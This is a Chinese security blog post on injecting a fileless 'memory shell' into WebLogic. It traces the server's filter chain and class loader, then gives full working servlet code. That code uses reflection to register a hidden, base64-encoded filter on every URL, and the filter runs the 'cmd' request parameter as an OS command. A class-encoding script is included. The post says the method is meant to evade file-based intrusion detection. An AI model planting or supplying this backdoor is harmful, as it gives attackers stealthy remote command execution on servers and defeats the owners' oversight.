Java安全之Weblogic内存马

0x00 前言

发现网上大部分大部分weblogic工具都是基于RMI绑定实例回显,但这种方式有个弊端,在Weblogic JNDI树里面能将打入的RMI后门查看得一清二楚。并且这种方式实现上传Webshell落地文件容易被Hids监测。

0x01 调试分析

调试分析

写一个filter进行断点跟踪上层代码。

其实和Tomcat差不多,就是一个Filter链

 public void doFilter(ServletRequest req, ServletResponse rsp) throws IOException, ServletException {
ServletRequestImpl.getOriginalRequest(req).setAsyncSupported(this.asyncSupportedBits.get(this.index));
Filter f = this.index < this.filters.size() - 1 ? (Filter)this.filters.get(this.index++) : (Filter)this.filters.get(this.index);
f.doFilter(req, rsp, this);
}

而在weblogic.servlet.internal.FilterChainImpl

private List<Filter> filters = new LinkedList();

存储Filter。在上面的doFilter方法里面遍历调用Filter的doFilter。

再追溯到上层中

weblogic.servlet.internal.WebAppServletContext#wrapRun

try {
ServletInvocationContext invocationContext = this.context;
invocationContext.initOrRestoreThreadContext(this.req);
if (WebAppServletContext.wldfDyeInjectionMethod != null) {
try {
Object[] args = new Object[]{this.req};
WebAppServletContext.wldfDyeInjectionMethod.invoke((Object)null, args);
} catch (Throwable var14) {
}
} if (!invocationContext.hasFilters() && !invocationContext.hasRequestListeners()) {
this.stub.execute(this.req, this.rsp);
} else {
FilterChainImpl fc = invocationContext.getFilterChain(this.stub, this.req, this.rsp);
if (fc == null) {
this.stub.execute(this.req, this.rsp);
} else {
fc.doFilter(this.req, this.rsp);
}
}

FilterChainImpl fc = invocationContext.getFilterChain(this.stub, this.req, this.rsp);

以上方法获取了一个FilterChain,即Filter链。跟踪该方法。

weblogic.servlet.internal.FilterManager#getFilterChain方法

该方法会获取FilterChain。

该类中还有动态注册Filter方法

 void registerFilter(String filterName, String filterClassName, String[] urlPatterns, String[] servletNames, Map initParams, String[] dispatchers) throws DeploymentException {
FilterWrapper fw = new FilterWrapper(filterName, filterClassName, initParams, this.context);
if (this.loadFilter(fw)) {
EnumSet<DispatcherType> types = FilterManager.FilterInfo.translateDispatcherType(dispatchers, this.context, filterName);
if (urlPatterns != null) {
this.addMappingForUrlPatterns(filterName, types, true, urlPatterns);
} if (servletNames != null) {
this.addMappingForServletNames(filterName, types, true, servletNames);
} this.filters.put(filterName, fw);
}
}

将参数传递进行封装到FilterWrapper,这里并没有传递一个class参数进去,传递了filterClassName,然后在下面的this.loadFilter(fw)进行加载。

boolean loadFilter(FilterWrapper filterWrapper) throws DeploymentException {
Filter filter = filterWrapper.getFilter();
if (filter == null) {
String filterClassName = filterWrapper.getFilterClassName(); try {
filter = (Filter)this.context.createInstance(filterClassName);
filterWrapper.setFilter((String)null, (Class)null, filter, false);
} catch (Exception var5) {
HTTPLogger.logCouldNotLoadFilter(this.context.getLogContext() + " " + filterClassName, var5);
throw new DeploymentException(var5);
}
} Throwable e = this.initFilter(filterWrapper.getFilterName(), filterWrapper.getFilter(), filterWrapper.getInitParameters());
return e == null;
}

随即调用this.context.createInstance(filterClassName)进行加载。跟进查看。

weblogic.servlet.internal.WebAppServletContext#createInstance

 Object createInstance(String className) throws ClassNotFoundException, InstantiationException, IllegalAccessException {
Class<?> clazz = this.classLoader.loadClass(className);
return this.createInstance(clazz);
}

使用的是weblogic自己定义的一个classloader,调用自定义的loadclass方法。

protected Class<?> loadClass(String name, boolean resolve) throws ClassNotFoundException {
synchronized(this.getClassLoadingLock(name)) {
Class res = (Class)this.cachedClasses.get(name);
if (res != null) {
return res;
} else if (!this.childFirst) {
return super.loadClass(name, resolve);
} else if (!name.startsWith("java.") && (!name.startsWith("javax.") || name.startsWith("javax.xml") || name.startsWith("javax.wsdl")) && !name.startsWith("weblogic.") && !name.startsWith("com.sun.org.")) {
Class var10000;
try {
synchronized(this) {
Class clazz = this.findClass(name);
if (resolve) {
this.resolveClass(clazz);
} var10000 = clazz;
}
} catch (ClassNotFoundException var10) {
return super.loadClass(name, resolve);
} return var10000;
} else {
return super.loadClass(name, resolve);
}
}
}

ChangeAwareClassLoader.loadClass方法会从cache中查找是否存在待查找的类,也就是this.cachedClasses这个变量。

再看下来,这个!this.childFirst则是调用父类的loadClass方法,则weblogic.utils.classloaders.GenericClassLoader#loadClass

再后面就是以java.javax.javax.xmljavax.wsdlweblogic.com.sun.org.

开头的类名则使用weblogic.utils.classloaders.ChangeAwareClassLoader#findClass查找。

这时候只需将恶意filter添加到cachedClasses中,调用registerFilter接口添加成功

问题思考

  1. 我们的这几个request或contenx该怎么拿到
  2. 添加内存马的话,反射代码该怎么写。
  3. 怎么获取cachedClasses,获取后直接调用put将这个map对象中添加class进去即可。

实现

直接上java-object-searcher工具一把梭哈

List<Keyword> keys = new ArrayList<>();
keys.add(new Keyword.Builder().setField_type("HttpServletRequest").build());
keys.add(new Keyword.Builder().setField_type("ServletRequestImpl").build()); keys.add(new Keyword.Builder().setField_type("ServletResponseImpl").build());
keys.add(new Keyword.Builder().setField_type("Request").build());
//新建一个广度优先搜索Thread.currentThread()的搜索器
SearchRequstByBFS searcher = new SearchRequstByBFS(Thread.currentThread(),keys);
//打开调试模式
searcher.setIs_debug(true);
//挖掘深度为20
searcher.setMax_search_depth(20);
//设置报告保存位置
searcher.setReport_save_path("D:\weblogic_ehco_gadget");
searcher.searchObject();
TargetObject = {weblogic.work.ExecuteThread}
---> workEntry = {weblogic.servlet.provider.ContainerSupportProviderImpl$WlsRequestExecutor}
---> connectionHandler = {weblogic.servlet.internal.HttpConnectionHandler}
---> request = {weblogic.servlet.internal.ServletRequestImpl}

代码如下:

Thread thread = Thread.currentThread();
try {
Field workEntry = Class.forName("weblogic.work.ExecuteThread").getDeclaredField("workEntry");
workEntry.setAccessible(true);
Object workentry = workEntry.get(thread); Field connectionHandler = workentry.getClass().getDeclaredField("connectionHandler");
connectionHandler.setAccessible(true);
connectionHandler.get(workentry); } catch (NoSuchFieldException e) {
e.printStackTrace();
} catch (ClassNotFoundException e) {
e.printStackTrace();
} catch (IllegalAccessException e) {
e.printStackTrace();
}

获取成功,接下来就是获取context然后将即WebAppServletContext调用registerFilter将恶意Filter进行注册。

Field context = servletRequest.getClass().getDeclaredField("context");
context.setAccessible(true);
weblogic.servlet.internal.WebAppServletContext webAppServletContext = (weblogic.servlet.internal.WebAppServletContext)context.get(context);

cachedClasses这个变量在ChangeAwareClassLoader中。前面也提到过在调用weblogic.servlet.internalWebAppServletContext#createInstance 中存储的是ChangeAwareClassLoader,获取该classLoader变量即可。

最终代码:

package com.nice0e3;

import sun.misc.BASE64Decoder;
import weblogic.servlet.internal.FilterManager;
import weblogic.servlet.internal.ServletRequestImpl;
import weblogic.servlet.internal.WebAppServletContext; import javax.servlet.ServletException;
import javax.servlet.annotation.WebServlet;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.IOException;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;
import java.util.Map; //TargetObject = {weblogic.work.ExecuteThread}
// ---> workEntry = {weblogic.servlet.provider.ContainerSupportProviderImpl$WlsRequestExecutor}
// ---> connectionHandler = {weblogic.servlet.internal.HttpConnectionHandler}
// ---> request = {weblogic.servlet.internal.ServletRequestImpl} @WebServlet("/demoServlet")
public class demoServlet extends HttpServlet {
protected void doPost(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
response.getWriter().write("test!!!");
Thread thread = Thread.currentThread();
try {
Field workEntry = Class.forName("weblogic.work.ExecuteThread").getDeclaredField("workEntry");
workEntry.setAccessible(true);
Object workentry = workEntry.get(thread); Field connectionHandler = workentry.getClass().getDeclaredField("connectionHandler");
connectionHandler.setAccessible(true);
Object http = connectionHandler.get(workentry); Field request1 = http.getClass().getDeclaredField("request");
request1.setAccessible(true);
ServletRequestImpl servletRequest = (ServletRequestImpl)request1.get(http); servletRequest.getResponse().getWriter().write("Success!!!");
Field context = servletRequest.getClass().getDeclaredField("context");
context.setAccessible(true);
WebAppServletContext webAppServletContext = (WebAppServletContext)context.get(servletRequest); String encode_class ="yv66vgAAADQAkgoAHgBJCAA/CwBKAEsIAEwKAE0ATgoACQBPCABQCgAJAFEHAFIIAFMIAFQIAFUIAFYKAFcAWAoAVwBZCgBaAFsHAFwKABEAXQgAXgoAEQBfCgARAGAKABEAYQgAYgsAYwBkCgBlAGYKAGUAZwoAZQBoCwBpAGoHAGsHAGwHAG0BAAY8aW5pdD4BAAMoKVYBAARDb2RlAQAPTGluZU51bWJlclRhYmxlAQASTG9jYWxWYXJpYWJsZVRhYmxlAQAEdGhpcwEAC0xjbWRGaWx0ZXI7AQAEaW5pdAEAHyhMamF2YXgvc2VydmxldC9GaWx0ZXJDb25maWc7KVYBAAxmaWx0ZXJDb25maWcBABxMamF2YXgvc2VydmxldC9GaWx0ZXJDb25maWc7AQAKRXhjZXB0aW9ucwcAbgEACGRvRmlsdGVyAQBbKExqYXZheC9zZXJ2bGV0L1NlcnZsZXRSZXF1ZXN0O0xqYXZheC9zZXJ2bGV0L1NlcnZsZXRSZXNwb25zZTtMamF2YXgvc2VydmxldC9GaWx0ZXJDaGFpbjspVgEABGNtZHMBABNbTGphdmEvbGFuZy9TdHJpbmc7AQACaW4BABVMamF2YS9pby9JbnB1dFN0cmVhbTsBAAFzAQATTGphdmEvdXRpbC9TY2FubmVyOwEABm91dHB1dAEAEkxqYXZhL2xhbmcvU3RyaW5nOwEABndyaXRlcgEAEExqYXZhL2lvL1dyaXRlcjsBAA5zZXJ2bGV0UmVxdWVzdAEAHkxqYXZheC9zZXJ2bGV0L1NlcnZsZXRSZXF1ZXN0OwEAD3NlcnZsZXRSZXNwb25zZQEAH0xqYXZheC9zZXJ2bGV0L1NlcnZsZXRSZXNwb25zZTsBAAtmaWx0ZXJDaGFpbgEAG0xqYXZheC9zZXJ2bGV0L0ZpbHRlckNoYWluOwEAA2NtZAEADVN0YWNrTWFwVGFibGUHAFIHADAHAG8HAFwHAHABAAdkZXN0cm95AQAKU291cmNlRmlsZQEADmNtZEZpbHRlci5qYXZhDAAgACEHAHEMAHIAcwEAB29zLm5hbWUHAHQMAHUAcwwAdgB3AQADd2luDAB4AHkBABBqYXZhL2xhbmcvU3RyaW5nAQAHY21kLmV4ZQEAAi9jAQACc2gBAAItYwcAegwAewB8DAB9AH4HAH8MAIAAgQEAEWphdmEvdXRpbC9TY2FubmVyDAAgAIIBAAJcYQwAgwCEDACFAIYMAIcAdwEAAAcAiAwAiQCKBwCLDACMAI0MAI4AIQwAjwAhBwCQDAAtAJEBAAljbWRGaWx0ZXIBABBqYXZhL2xhbmcvT2JqZWN0AQAUamF2YXgvc2VydmxldC9GaWx0ZXIBAB5qYXZheC9zZXJ2bGV0L1NlcnZsZXRFeGNlcHRpb24BABNqYXZhL2lvL0lucHV0U3RyZWFtAQATamF2YS9pby9JT0V4Y2VwdGlvbgEAHGphdmF4L3NlcnZsZXQvU2VydmxldFJlcXVlc3QBAAxnZXRQYXJhbWV0ZXIBACYoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvU3RyaW5nOwEAEGphdmEvbGFuZy9TeXN0ZW0BAAtnZXRQcm9wZXJ0eQEAC3RvTG93ZXJDYXNlAQAUKClMamF2YS9sYW5nL1N0cmluZzsBAAhjb250YWlucwEAGyhMamF2YS9sYW5nL0NoYXJTZXF1ZW5jZTspWgEAEWphdmEvbGFuZy9SdW50aW1lAQAKZ2V0UnVudGltZQEAFSgpTGphdmEvbGFuZy9SdW50aW1lOwEABGV4ZWMBACgoW0xqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1Byb2Nlc3M7AQARamF2YS9sYW5nL1Byb2Nlc3MBAA5nZXRJbnB1dFN0cmVhbQEAFygpTGphdmEvaW8vSW5wdXRTdHJlYW07AQAYKExqYXZhL2lvL0lucHV0U3RyZWFtOylWAQAMdXNlRGVsaW1pdGVyAQAnKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS91dGlsL1NjYW5uZXI7AQAHaGFzTmV4dAEAAygpWgEABG5leHQBAB1qYXZheC9zZXJ2bGV0L1NlcnZsZXRSZXNwb25zZQEACWdldFdyaXRlcgEAFygpTGphdmEvaW8vUHJpbnRXcml0ZXI7AQAOamF2YS9pby9Xcml0ZXIBAAV3cml0ZQEAFShMamF2YS9sYW5nL1N0cmluZzspVgEABWZsdXNoAQAFY2xvc2UBABlqYXZheC9zZXJ2bGV0L0ZpbHRlckNoYWluAQBAKExqYXZheC9zZXJ2bGV0L1NlcnZsZXRSZXF1ZXN0O0xqYXZheC9zZXJ2bGV0L1NlcnZsZXRSZXNwb25zZTspVgAhAB0AHgABAB8AAAAEAAEAIAAhAAEAIgAAAC8AAQABAAAABSq3AAGxAAAAAgAjAAAABgABAAAABQAkAAAADAABAAAABQAlACYAAAABACcAKAACACIAAAA1AAAAAgAAAAGxAAAAAgAjAAAABgABAAAACQAkAAAAFgACAAAAAQAlACYAAAAAAAEAKQAqAAEAKwAAAAQAAQAsAAEALQAuAAIAIgAAAYAABAAKAAAAoisSArkAAwIAOgQZBMYAjQE6BRIEuAAFtgAGEge2AAiZABsGvQAJWQMSClNZBBILU1kFGQRTOgWnABgGvQAJWQMSDFNZBBINU1kFGQRTOgW4AA4ZBbYAD7YAEDoGuwARWRkGtwASEhO2ABQ6BxkHtgAVmQALGQe2ABanAAUSFzoILLkAGAEAOgkZCRkItgAZGQm2ABoZCbYAGy0rLLkAHAMAsQAAAAMAIwAAAD4ADwAAAA0ACgAOAA8ADwASABEAIgASADoAFABPABcAXAAYAGwAGQCAABoAiAAbAI8AHACUAB0AmQAfAKEAIAAkAAAAZgAKABIAhwAvADAABQBcAD0AMQAyAAYAbAAtADMANAAHAIAAGQA1ADYACACIABEANwA4AAkAAACiACUAJgAAAAAAogA5ADoAAQAAAKIAOwA8AAIAAACiAD0APgADAAoAmAA/ADYABABAAAAAHAAF/QA6BwBBBwBCFP0ALAcAQwcAREEHAEH4ABoAKwAAAAYAAgBFACwAAQBGACEAAQAiAAAAKwAAAAEAAAABsQAAAAIAIwAAAAYAAQAAACcAJAAAAAwAAQAAAAEAJQAmAAAAAQBHAAAAAgBI";
byte[] decode_class = new BASE64Decoder().decodeBuffer(encode_class);
Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, Integer.TYPE, Integer.TYPE);
defineClass.setAccessible(true);
Class filter_class = (Class) defineClass.invoke(webAppServletContext.getClassLoader(), decode_class, 0, decode_class.length);
Field classLoader = webAppServletContext.getClass().getDeclaredField("classLoader");
classLoader.setAccessible(true);
ClassLoader classLoader1 =(ClassLoader)classLoader.get(webAppServletContext); Field cachedClasses = classLoader1.getClass().getDeclaredField("cachedClasses");
cachedClasses.setAccessible(true);
Object cachedClasses_map = cachedClasses.get(classLoader1);
Method get = cachedClasses_map.getClass().getDeclaredMethod("get", Object.class);
get.setAccessible(true);
if (get.invoke(cachedClasses_map, "cmdFilter") == null) { Method put = cachedClasses_map.getClass().getMethod("put", Object.class, Object.class);
put.setAccessible(true);
put.invoke(cachedClasses_map, "cmdFilter", filter_class); Field filterManager = webAppServletContext.getClass().getDeclaredField("filterManager");
filterManager.setAccessible(true);
Object o = filterManager.get(webAppServletContext); Method registerFilter = o.getClass().getDeclaredMethod("registerFilter", String.class, String.class, String[].class, String[].class, Map.class, String[].class);
registerFilter.setAccessible(true);
registerFilter.invoke(o, "test", "cmdFilter", new String[]{"/*"}, null, null, null);
} } catch (NoSuchFieldException e) {
e.printStackTrace();
} catch (ClassNotFoundException e) {
e.printStackTrace();
} catch (IllegalAccessException e) {
e.printStackTrace();
} catch (NoSuchMethodException e) {
e.printStackTrace();
} catch (InvocationTargetException e) {
e.printStackTrace();
} } protected void doGet(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
this.doPost(request, response);
}
}

把base64加密脚本也贴一出来

 File file = new File("D:\\Java_Demo\\weblogic_an_shell\\out\\production\\weblogic_an_shell\\cmdFilter.class");
FileInputStream fileInputStream = new FileInputStream(file);
ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
byte[] bytes = new byte[4096];
int len;
while ((len = fileInputStream.read(bytes))!=-1){
byteArrayOutputStream.write(bytes,0,len);
}
String encode = new BASE64Encoder().encode(byteArrayOutputStream.toByteArray());
System.out.println(encode.replaceAll("\r|\n",""));

里面还有registerListener方法也可以使用同样的方法实现Listener内存马。

0x02 结尾

介于网上weblogic内存马文章比较少,自己动手实现了一下。大大小小也遇到不少的坑。

Java安全之Weblogic内存马的更多相关文章

  1. Java安全之Spring内存马

    Java安全之Spring内存马 基础知识 Bean bean 是 Spring 框架的一个核心概念,它是构成应用程序的主干,并且是由 Spring IoC 容器负责实例化.配置.组装和管理的对象. ...

  2. Java安全之Resin2内存马

    Java安全之Resin2内存马 环境 resin2.1.17 添加Filter分析 依然是web.xml注册一个filter,debug进去看注册流程 debug dofilter逻辑时看到如下代码 ...

  3. Java安全之基于Tomcat实现内存马

    Java安全之基于Tomcat实现内存马 0x00 前言 在近年来红队行动中,基本上除了非必要情况,一般会选择打入内存马,然后再去连接.而落地Jsp文件也任意被设备给检测到,从而得到攻击路径,删除we ...

  4. Weblogic下的servlet内存马注入-无参照纯调试

    目录 1.寻找servlet注入方法 1.1 调试 1.2 servletMapping添加servlet 2.获取request 2.1 从当前线程寻找信息 2.2 JNDI注入到内存马注入 3.关 ...

  5. Java安全之反序列化回显与内存马

    Java安全之反序列化回显与内存马 0x00 前言 按照我个人的理解来说其实只要能拿到Request 和 Response对象即可进行回显的构造,当然这也是众多方式的一种.也是目前用的较多的方式.比如 ...

  6. 简单学习java内存马

    看了雷石的内存马深入浅出,就心血来潮看了看,由于本人java贼菜就不介绍原理了,本文有关知识都贴链接吧 前置知识 本次主要看的是tomcat的内存马,所以前置知识有下列 1.tomcat结构,tomc ...

  7. 6. 站在巨人的肩膀学习Java Filter型内存马

    本文站在巨人的肩膀学习Java Filter型内存马,文章里面的链接以及图片引用于下面文章,参考文章: <Tomcat 内存马学习(一):Filter型> <tomcat无文件内存w ...

  8. 议题解析与复现--《Java内存攻击技术漫谈》(二)无文件落地Agent型内存马

    无文件落地Agent型内存马植入 可行性分析 使用jsp写入或者代码执行漏洞,如反序列化等,不需要上传agent Java 动态调试技术原理及实践 - 美团技术团队 (meituan.com) 首先, ...

  9. Java安全之基于Tomcat的Filter型内存马

    Java安全之基于Tomcat的Filter型内存马 写在前面 现在来说,内存马已经是一种很常见的攻击手法了,基本红队项目中对于入口点都是选择打入内存马.而对于内存马的支持也是五花八门,甚至各大公司都 ...

随机推荐

  1. OCR-Form-Tools项目试玩记录(一)本地部署

    OCR-Form-Tools是微软的一个开源代码库,包含微软表单识别和OCR服务相关的多种工具.Github仓库地址 目前,表单标注工具(OCR Form Labeling Tool)是首个发布到本该 ...

  2. [刷题] 447 Number of Boomerangs

    要求 给出平面上n个点,寻找存在多少点构成的三元组(i j k),使得 i j 两点的距离等于 i k 两点的距离 n 最多为500,所有点坐标范围在[-10000, 10000]之间 示例 [[0, ...

  3. 桌面支持qt版本是多少检查

    桌面支持qt版本是多少 # rpm -qa |grep qt |grep 3 |sortqt3-3.3.8b-60.nd7.2.x86_64qt-4.8.6-13.nd7.3.x86_64qt5-qt ...

  4. commit信息修改

    场景:向社区提交commit信息,code reviewer给你回复说,请添加TrivialFix并且完善commit信息.好吧,虽然这对代码的运行无关紧要,但是对于日后的代码管理是很有必要的. 解决 ...

  5. 第9章 case条件语句的应用实践

    case语句企业级生产案例 范例9-7:实现通过传参的方式往/etc/openvpn_authfile.conf里添加用户,具体要求如下. 1)命令用法为: USAGE: sh adduser {-a ...

  6. 十二、.net core(.NET 6)添加通用的访问webapi的方法(包括HttpClient和HttpWebRequest)

    开发通用的访问webapi方法. 在common工具文件夹下,新建一个类库项目:Wsk.Core.WebHelper,并引用Package包项目,然后新建一个类HttpClientHelper,用于使 ...

  7. 为Go项目编写Makefile

    为Go项目编写Makefile 借助Makefile我们在编译过程中不再需要每次手动输入编译的命令和编译的参数,可以极大简化项目编译过程. make介绍 make是一个构建自动化工具,会在当前目录下寻 ...

  8. Ajax|看这一篇就够了!详解Ajax工作原理及开发步骤

    传统开发的缺点,是对于浏览器的页面,全部都是全局刷新的体验.如果我们只是想取得或是更新页面中的部分信息那么就必须要应用到局部刷新的技术. 局部刷新也是有效提升用户体验的一种非常重要的方式. Ajax技 ...

  9. Tensor基本理论

    Tensor基本理论 深度学习框架使用Tensor来表示数据,在神经网络中传递的数据均为Tensor. Tensor可以将其理解为多维数组,其可以具有任意多的维度,不同Tensor可以有不同的数据类型 ...

  10. OneFlow 概念清单

    OneFlow 概念清单 本文将对 OneFlow 中涉及到的,常用的一些概念/名词做一个概括性的解释.主要内容针对算法工程师和框架开发者分为以下两部分: 算法开发 框架开发 在算法开发部分,将解释深 ...